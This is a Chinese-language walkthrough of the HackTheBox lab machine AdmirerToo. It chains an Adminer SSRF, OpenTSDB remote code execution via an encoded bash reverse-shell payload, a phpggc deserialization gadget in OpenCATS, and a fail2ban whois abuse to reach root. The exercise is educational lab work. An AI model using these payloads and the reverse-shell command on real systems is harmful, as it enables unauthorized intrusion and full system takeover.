HTB-AdmirerToo

第一步:nmap扫描

nmap -Pn -sF -sV -sC -A 10.10.11.137
-Pn :不进行ping扫描
-sF :探测防火墙状态
-sV:探测开放端口以确定服务/版本信息
-A :选项用于使用进攻性方式扫描
-sC:使用-sC或- A选项拦描时候默认的脚本,提供基本脚本扫描能力

HTB-AdmirerToo_第1张图片
看到端口80已打开,用dirsearch枚举web应用程序
python3 dirsearch.py -u http://10.10.11.137/
在index,html页面发现了新东西
HTB-AdmirerToo_第2张图片
[email protected]
将admirer-gallery.htb 添加到/etc/hosts文件中 ,然后运行gobuster以枚举可能的虚拟主机

gobuster vhost -w /usr/share/wordlists/subs.txt -u http://admirer-gallery.htb

HTB-AdmirerToo_第3张图片
在这里插入图片描述

gobuster工具:web目录暴力破解工具
Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。
gobuster分为两种扫描模式,dir模式和dns模式
dir模式:
1.gobuster -u http://www.xxoo.com/ -w words.txt
禁用状态码

2.gobuster -u http://www.xxoo.com/ -w words.txt -n
详细输出

  1. gobuster -u http://www.xxoo.com/ -w words.txt -v
    显示返回内容长度

  2. gobuster -u http://www.xxoo.com/ -w words.txt -l
    输出静默、禁用和扩展状态的模式

dns模式:
gobuster -m dns -w subdomains.txt -u baidu.com #可以扫描子域名!!!!!!!

第二步:查找漏洞

访问db.admirer-gallery.htb,发现它使用的adminer版本是4.7.8,是php编写的数据库管理工具,存在漏洞CVE-2021-21311,它是 Adminer 版本 4.0.0 中的服务器端请求伪造。到 4.7.9。
运用实例:https /github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
HTB-AdmirerToo_第4张图片
您必须将驱动程序更改为elastic,将localhost替换为您设置了redirect.py侦听器的机器的ip&port 。
HTB-AdmirerToo_第5张图片

Redirect.py 可以在这里下载:
https /gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd

redirect.py 脚本需要两个强制参数 > –port & redirect_url

python2.7 redirect.py --port 5555 http://localhost:4242

HTB-AdmirerToo_第6张图片

我之前的nmap结果显示端口 4242 已被过滤,并且无法判断哪个服务正在其上运行,因此我使用此端口进行重定向以了解更多信息。

设置监听器后,我通过burp-suite发送修改后的请求,然后单击“在浏览器中显示响应”,然后将其粘贴到浏览器中并分析响应。
HTB-AdmirerToo_第7张图片

可以清楚地看到服务名称:OpenTSDB(基于 HBase 的分布式时序数据库),现在只需做一些研究,看看是否有任何已知漏洞。

我发现OpenTSDB 容易受到 RCE(远程代码执行)
的影响这是我将使用的示例:https /github.com/OpenTSDB/opentsdb/issues/2051

在github页面上,payload 包含一个用于创建文件的触摸命令,因为我无法访问目标机器我无法验证该命令是否正在执行,因此我将命令替换为base64&url 编码(为了避免错误)像这样反向shell:

payload: "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.153/2222 0>&1'"

encoded payload: L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1My8yMjIyIDA+JjEnCg== | base64 -d | bash

urlencoded payload: %27echo%20L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1My8yMjIyIDA%2BJjEnCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash%27

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27echo%20L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1My8yMjIyIDA%2BJjEnCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

执行上述有效负载后,应用程序返回一条错误消息,上面写着:‘metrics’ 没有这样的名称:‘sys.cpu.nice’
HTB-AdmirerToo_第8张图片
为了找到可用的指标名称,我做了一些研究并找到了一个返回所有可用指标名称的端点。
端点:/api/suggest?type=metrics
在这里插入图片描述

HTB-AdmirerToo_第9张图片
当向该端点发送请求时,应用程序返回名称“http.stats.web.hits”,所以我用它替换了“sys.cpu.nice”,重新发送修改后的请求并设置一个netcat侦听器
HTB-AdmirerToo_第10张图片
结果我有一个外壳。
HTB-AdmirerToo_第11张图片
在枚举系统时,我遇到了一个名为servers.php的文件,其中包含凭据。
HTB-AdmirerToo_第12张图片
通过阅读/etc/passwd文件,我看到有两个用户分配了 /bin/bash > root 和 jennifer > 我尝试使用获得的密码以jennifer 身份通过 ssh登录,并且成功了
HTB-AdmirerToo_第13张图片

第三步:权限提升

运行Linpeas枚举系统。

Linpeas列出了正在运行的服务,其中两个引起了我的注意 > Fail2ban & Opencats
还获取了opencats 的数据库配置。
HTB-AdmirerToo_第14张图片
在系统上运行的Fail2ban版本容易受到RCE的攻击,因为它以 root 权限运行,我将能够利用它来获取 root shell。
对于这个漏洞,我需要/usr/local/etc的写权限来创建whois 配置文件。
我当前的用户不能在那个位置写字,所以我必须找到一个可以的用户。
在下面的截图中,我们可以看到root 和 devel对/usr/local/etc有写权限。
在这里插入图片描述
Linpeas在机器上显示了一些只能在本地访问的开放端口,为了枚举在这些端口上运行的服务,我使用了以下 curl 命令:
在端口8080上,opencats应用程序正在运行,要在此应用程序上进行身份验证,我们需要用户名和密码。

使用mysql登录数据库(使用数据库配置中的凭据- 之前找到)并通过在线生成新的 md5 哈希来更新管理员密码(以进行测试)。

mysql -u cats -h localhost -p
HTB-AdmirerToo_第15张图片
HTB-AdmirerToo_第16张图片

HTB-AdmirerToo_第17张图片
要访问opencats应用程序,我们需要设置ssh 端口 转发,因为端口8080只能在本地访问。
ssh -L 8081:127.0.0.1:8080 [email protected]
HTB-AdmirerToo_第18张图片
现在我们可以访问应用程序并使用更新的凭据 ( admin :test )登录。
HTB-AdmirerToo_第19张图片
OpenCATS 版本 0.9.5.2 易受 PHP Object Injection 攻击。
来源:https /snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html

尝试利用 opencats 漏洞并查看它是否与用户一起运行以在/usr/local/etc 上创建我们需要的whois文件。

为了利用这一点,我们必须下载phpgcc并创建一个包含 whois 配置的文件(test.conf),这使得whois 命令连接到我的机器以获取有关ip的信息。

为什么是whois配置文件?我们需要为 fail2ban 漏洞创建这个文件。
在这里插入图片描述
phpggc -u –fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf test.conf
来源:https /github.com/ambionics/phpggc

该文件由用户devel成功创建,这意味着我们终于可以利用 fail2ban漏洞了。

创建我们的whois 配置文件(test.conf)后,我将创建一个反向 shell 文件(称为shelly)并设置两个侦听器 > 一个用于whois(端口 43)和一个用于反向 shell(来自 rev-shell 的端口有效载荷)。

sudo ncat -nvlkp 43 -c “cat shelly” (whois listener)
HTB-AdmirerToo_第20张图片
nc -nvlp port (rev-shell listener)
在这里插入图片描述
HTB-AdmirerToo_第21张图片
HTB-AdmirerToo_第22张图片
当我尝试通过“ ssh [email protected] ”登录失败时,fail2ban将阻止我 60 秒,如您在上面的屏幕截图中所见,但还会执行 whois命令并读取我的 whois 配置文件(test.conf)它连接到我们的侦听器,告诉它执行 shelly,这会在rev-shell 侦听器上生成一个根 shell 。
HTB-AdmirerToo_第23张图片

你可能感兴趣的:(安全,linux)